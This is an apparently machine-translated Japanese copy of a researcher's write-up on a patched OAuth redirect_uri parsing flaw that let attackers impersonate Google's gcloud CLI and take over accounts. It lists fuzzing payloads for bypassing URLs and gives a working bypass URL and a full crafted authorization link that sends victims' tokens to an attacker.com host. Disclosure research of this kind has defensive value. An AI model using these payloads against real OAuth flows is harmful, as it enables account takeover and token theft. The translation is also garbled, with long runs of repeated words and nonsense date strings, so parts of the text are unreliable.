TL;DR
トップ > DRこの記事では、最近、いくつかの Google サービスに影響を与えることを発見したユニークな OAuth アカウントのアカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アカウント・アredirect_uri
OAuthパラメータ:この脆弱性により、攻撃者はGoogle Cloud SDKクライアントのような正当なアプリケーションを偽装し、攻撃者がコントロールするサーバーにアクセストークンを漏らし、被害者アカウントへのバックドアアクセスを可能にします。
Note:最初の4つのセクションは、OAuth、トークン漏洩リスク、およびURL解析混乱に関する一般的な背景をカバーしています。Section 5: Google Cloud Account Takeover Case.
1.導入
OAuth 2.0 は、第三者アプリケーションがユーザーデータを要求したり、ユーザーの名義でアクションを実行するためにトークンを生成する権限サーバー(Google など)によって、パスワードを直接処理することなくユーザーデータにアクセスすることを可能にします。
しかし、もし、Theredirect_uri
このパラメータは外科的精度で検証されていないため、攻撃者は信頼できるアプリケーションを偽装し、ユーザーにアクセストークンを漏洩させる可能性があります。
この記事では、微妙な URL 解析の欠陥が、複数の Google サービスを介して、Google Cloud ケースに深く浸透させる方法を説明します。
2.OAuthがどのように機能するか
OAuth はかなり複雑なプロトコルであり、完全に把握するための一連の記事に値するが、以下は簡素化された概要である。
-
Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).
-
Redirect with Grant: After approval, the server redirects the user back to a predefined
redirect_uri
with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). -
Request user data: The client app uses the token to access the user’s protected data from the resource server.
物事を視覚化するために、以下の簡素化された図は、Googleアカウントを使用してMediumにログインすることを示しています。
Note:多くの場合、権限サーバーとリソースサーバーは同じです。
OAuth Token Leakage
上記の図を見ると、最も困難な部分は、権限サーバが生成されたトークンをクライアントアプリケーションに戻すステップ5です。redirect_uri
トークンをどこに送るかを知る
このパラメータが適切に検証されていない場合、攻撃者はクライアントアプリケーション(例えば、Medium)を偽装し、権限サーバにユーザのアクセストークンを送信することを騙すことができます - たとえ、ユーザの視点から見ても、すべてが正当に見えます。
典型的に、redirect_uri
ある程度は検証されている — あなたは単にライセンスサーバーにランダムな URL を投げることはできません. However, validation methods vary across implementations depending on business needs, and flaws in this process can be exploitable.
いくつかの共通パターン:
- Strict Matching: Precise string match against a pre-registered URI. Strict Matching: Precise string match against a pre-registered URI. Strict Matching: Precise string match against a pre-registered URI.
- Wildcard or Path Prefix Matching: 例えば https://example.com/* または https://*.example.com のような URI を許可します。
- Loopback Addresses: ローカルサーバーがリダイレクトを処理するデスクトップアプリで一般的です。
4. URL Parsing Confusion
によると、RFC 3986, 標準 URL は次の構造を持っています。
scheme://username:password@host:port/path?query#fragment
それぞれの要素が特定の役割を果たす:
-
scheme
: in web context it’s usually the protocol (e.g., http) -
username:password
: user credentials -
host
: the domain or IP address (e.g., google.com) -
port
: optional port number (e.g., 443) -
path
: the specific resource or endpoint (e.g., /login) -
query
: key-value pairs of parameters -
fragment
: a client side page reference
Note: host:port
として言及されている。authority, username:password
として言及されている。userinfo
一見すると、これは単純に見えるが、特にエッジケースに対処する際には、微妙な解析差異が発生する可能性がある。これらの差異は、検証を回避したり、プロトコルを越える要求を密輸したりなどの攻撃に利用できる。
開発者は、すべてのライブラリで URL が一貫して標準化された方法で解析されていると仮定するかもしれないが、URL 解析器に関する広範な研究はその正反対を証明している。
-
OAuth redirect URI validation
-
SSRF prevention
-
Proxy or CDN routing
以下は、1 つの URL が 3 つの異なるパッサーで異なる方法で扱われる例です。
この記事では、URLを解析する混乱攻撃に深く浸透することはありませんが、2017年のブラックハット論文で徹底的に調査されています。SSRFの新しい時代 - トレンド型プログラミング言語におけるURLパッサーの活用
Google Cloud アカウント トライアウォーケース
あなたがGoogle Cloudを使用したことがある場合は、おそらくあなたはそれに遭遇しました。gcloud
CLIユーティリティ — Google Cloud リソースの管理に使用される強力なコマンドラインツール. その他の機能の間で、ユーザーはブラウザベースの OAuth フローを通じて Google アカウントを使用して認証することができます。
こちらはどうやって機能するか:
-
The user runs
gcloud auth login
-
gcloud
spawns a local http server on a dynamic port (e.g., http://localhost:50000) -
gcloud
opens a browser window directing the user to a Google OAuth authorization URL withredirect_uri
set to the local server address -
The user authenticates and consents to the requested scopes
-
Google redirects the user to
redirect_uri
containing the authorization code -
gcloud
exchanges the authorization code for an access token -
gcloud
uses the access token to perform actions on the user’s Google cloud account
このフローを実行するために、Google はネイティブアプリケーションの特定のロープバック URL (たとえば http://localhost) を信頼します、これらはローカル使用のために十分に安全であると考えられ、内部的にホワイトリストに記載されています。
A.攻撃表面の識別
A 見た後localhost
として使用されるredirect_uri
私の最初の本能は、それを置き換えることでした。127.0.0.1
そして[::1]
これは、 URL が実際に内部で分析され、比較されていることを確認するため、以下のようないくつかの基本的なチェックをするのではなく、重要なステップです。
if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
return False
だから、ここで私たちは2つの重要なことが起こっています:
-
The provided
redirect_uri
gets parsed and validated internally by Google’s backend. -
After a successful login and user consent, users get redirected to
redirect_uri
in the browser.
つまり、Googleのバックエンドが使用する2つのURLパッサーと、ブラウザ(私の場合のChrome)が使用するパッサーがあるので、これらの2つのパッサーが同じでない限り、それらの間の不一致は、攻撃者によって制御されるサーバーにOAuth認証を漏らすために利用することができます。
目標は今は明確で、我々はGoogleのバックエンドパッサーをロープバックアドレスとしてパッサーする方法で、Chromeのパッサーはそれをグローバルなインターネットアドレスとしてパッサーするように、両方のパッサー間で異なる方法でパッサーされるURLを作成する必要があります。
Google のバックエンドと、内部で URL を解析するために使用しているライブラリについて非常に限られた知識があるという事実は、ブラックボックスのアプローチだけが残っていることを意味します。
B.FUZZING FOR THE WIN
私が次にしたことは、さまざまな暗号化トリック、代替ノート、およびエッジケースを適用して異なるURLを変異するPythonスクリプトを書くことであり、Googleのバックエンド検証を経過したもののChromeによって異なる解釈を受けたものを見るために、スクリプトはいくつかのトリックを採用しました。
- 平成27年(平成27年)平成27年(平成27年)平成27年(平成27年)平成27年(平成27年)平成27年(平成27年)平成27年(平成27年)平成27年(平成27年)平成27年(平成27年)平成27年(平成27年)平成27年(平成17年)平成27年(平成17年)平成27年(平成17年)平成17年(平成17年)平成17年(平成17年)平成17年(平成17年)平成17年(平成17年)平成17年(平成17年)平成17年)平成17年(平成17年)平成17年(平成17年)平成17年(平成17年)平成17年(平成17年)
- プライベートIPアドレス: 10.0.0.5, 192.168.5.3, 127.10.0.1
- 詳細はこちらからご覧ください: file://, ldap://, ftp://, javascript://, data://
- CRLF 注射: %0D%0A
- ホスト名/IP ユーザー情報: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
- 非常に長いURL: http://AAAAAA...@127.0.0.1
- DNS サフィックス: 127.0.0.1.attacker.com
- 悪意のあるURL: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
- クエリ/フラグメント注入:Inject extra ? , & or # before/after @
- DNS リバンドリング(手動でテスト)
しばらく脚本を実行した後、私の驚きに、生成されたエッジケースの1つが、私が探していた正確な相違を引き起こすことができました。
成功したエッジケースは以下の通りでした。
http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/
以下に簡素化することができる。
http://[::1]@[::1]@attacker.com/
Chrome でこの URL を解析しようとすると、以下の結果が得られます。
興味深い部分は、http://[::1]@[::1]@attacker.com/
そもそも、URLが悪質なのは、@
character is reserved to separate theuserinfo
から Thehostname
Chrome はこのエッジケースを軽減し、すべての非予約文字、および以前の予約文字の発生を暗号化し、最新の文字のみを使用します。@
デリメイターとして、これにより、誰もが@
最後の1つがURLコードです。
対照的に、パイロット変数の実験的なテストに基づいて、Googleのバックエンドパッサーは、予約された文字の以前の発生を適切に暗号化しず、代わりに最初の発生を用いたようです。@
デリメイターとして、分割した後@
パルサーは、おそらく抽出した。userinfo
そしてhostname
固定位置から、完全に追跡を無視attacker.com
.
注目すべきは、この行動がIPv6を使用する場合にのみ起動されたことである。http://127.0.0.1@127.0.0.1@attacker.com
)それは予想通りに機能し、不一致がIPv6の解析論理に特有であることを強調した。
C.すべてを組み合わせる
Now our attack vector becomes clear, we can pretendgcloud
cli ユーティリティとユーザーを騙して、彼らが認証している考えを認証するgcloud
.
攻撃はこんな感じです。
- 悪意のある OAuth 認証要請を作成し、そのリンク(下のコードブロック)を被害者に送信します。
- 被害者は、Google Cloud SDK クライアントのための完全に正当な OAuth 認証フローを提供します(図 9)
- The victim logins and consents to the listed permissions (scales) (被害者がログインし、リストされた許可(目的)に同意する)
- 被害者は、彼らの生成された OAuth 補助金で悪意のあるホストにリダイレクトされます。
- OAuth grant を使用して、被害者のアカウントに API 呼び出しを行います。
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256
以下は、提案された攻撃フローの視覚化です。
ユーザーの視点から見ると、彼らが認証しているかのように見えます。gcloud
Google 認証サーバーの場合でも、ユーザーが認証を試みているかのように見えます。gcloud
したがって、我々は、最終的なアクセストークンが我々の悪意のあるホストに流出している間、両方の認証当事者を正当な認証プロセスだと思わせることに効果的に騙している。
漏洩されたアクセストークンは、被害者のアカウントへの無制限のアクセスを効果的に与え、非常に特権的な行為さえ行うことができます。
この攻撃をさらに危険なものにしたのは、
-
Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.
-
Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal
gcloud
application might request (we can only request scopes that are available but not actively requested)
この記事の冒頭で述べたように、gcloud
脆弱なアプリケーションは1つだけですが、以下は私が脆弱であることを発見した他のアプリケーションです。
-
Google Drive Desktop Client
-
Firebase Desktop Client
-
Windows Mail (3rd-party app)
Googleは迅速に反応し、72時間以内に深刻さを認め、高重度の報酬を授与した。
6.結論
この研究は、微妙な URL 解析の相違が、Google のように成熟したセキュリティ意識のある企業によって実装された場合でも、さまざまなアプリケーションやサービスで再利用される完全な認証フローのセキュリティを完全に損なうことができることを強調しています。
OAuth は成熟してよく研究されたプロトコルですが、そのセキュリティはプラットフォーム、ライブラリ、環境によって異なる小さな実装詳細に大きく依存します。
Googleはその後、責任ある開示に従って脆弱性を修正しました。
読んでくれてありがとう!